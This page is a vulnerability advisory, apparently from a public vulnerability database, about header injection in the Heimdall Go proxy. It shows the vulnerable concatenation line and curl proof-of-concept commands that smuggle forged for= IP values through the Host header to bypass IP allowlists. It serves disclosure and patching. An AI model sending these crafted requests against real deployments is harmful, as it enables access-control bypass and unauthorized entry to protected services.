GHSA-4JGR-PG2M-M988

Vulnerability from github – Published: 2026-06-18 14:24 – Updated: 2026-07-20 21:28
VLAI
Summary
Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode
Details

Summary

When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.

Vulnerable Code

File: proxy/request_context.go (line 201)

entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto

Go's net/http allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.

PoC

# Inject a spoofed IP into the Forwarded header
curl -s -H "Host: evil.com,for=127.0.0.1" \
  "http://TARGET:PORT/protected-resource"

This produces the following Forwarded header sent to the upstream service:

Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http

Upstream services that parse the Forwarded header according to RFC 7239 will see two entries. If the service trusts the last or any for= value, the attacker successfully spoofs 127.0.0.1 as the client IP.

# More targeted attack: spoof to bypass IP allowlist
curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \
  "http://TARGET:PORT/admin-panel"

Impact

  • IP spoofing: Upstream services behind Heimdall may trust the injected for= value, believing the request originates from an internal/trusted IP
  • Access control bypass: Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed
  • Affects all proxy-mode deployments where upstream services parse the Forwarded header.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.17.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dadrus/heimdall"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request\u0027s `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.\n\n### Vulnerable Code\n\n**File: `proxy/request_context.go` (line 201)**\n\n```go\nentry := \"for=\" + clientIP + \";host=\" + in.Host + \";proto=\" + proto\n```\n\nGo\u0027s `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.\n\n### PoC\n\n```bash\n# Inject a spoofed IP into the Forwarded header\ncurl -s -H \"Host: evil.com,for=127.0.0.1\" \\\n  \"http://TARGET:PORT/protected-resource\"\n```\n\nThis produces the following `Forwarded` header sent to the upstream service:\n\n```\nForwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http\n```\n\nUpstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.\n\n```bash\n# More targeted attack: spoof to bypass IP allowlist\ncurl -s -H \"Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1\" \\\n  \"http://TARGET:PORT/admin-panel\"\n```\n\n### Impact\n\n- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request originates from an internal/trusted IP\n- **Access control bypass:** Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed\n- **Affects all proxy-mode deployments** where upstream services parse the `Forwarded` header.",
  "id": "GHSA-4jgr-pg2m-m988",
  "modified": "2026-07-20T21:28:46Z",
  "published": "2026-06-18T14:24:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dadrus/heimdall/security/advisories/GHSA-4jgr-pg2m-m988"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dadrus/heimdall"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…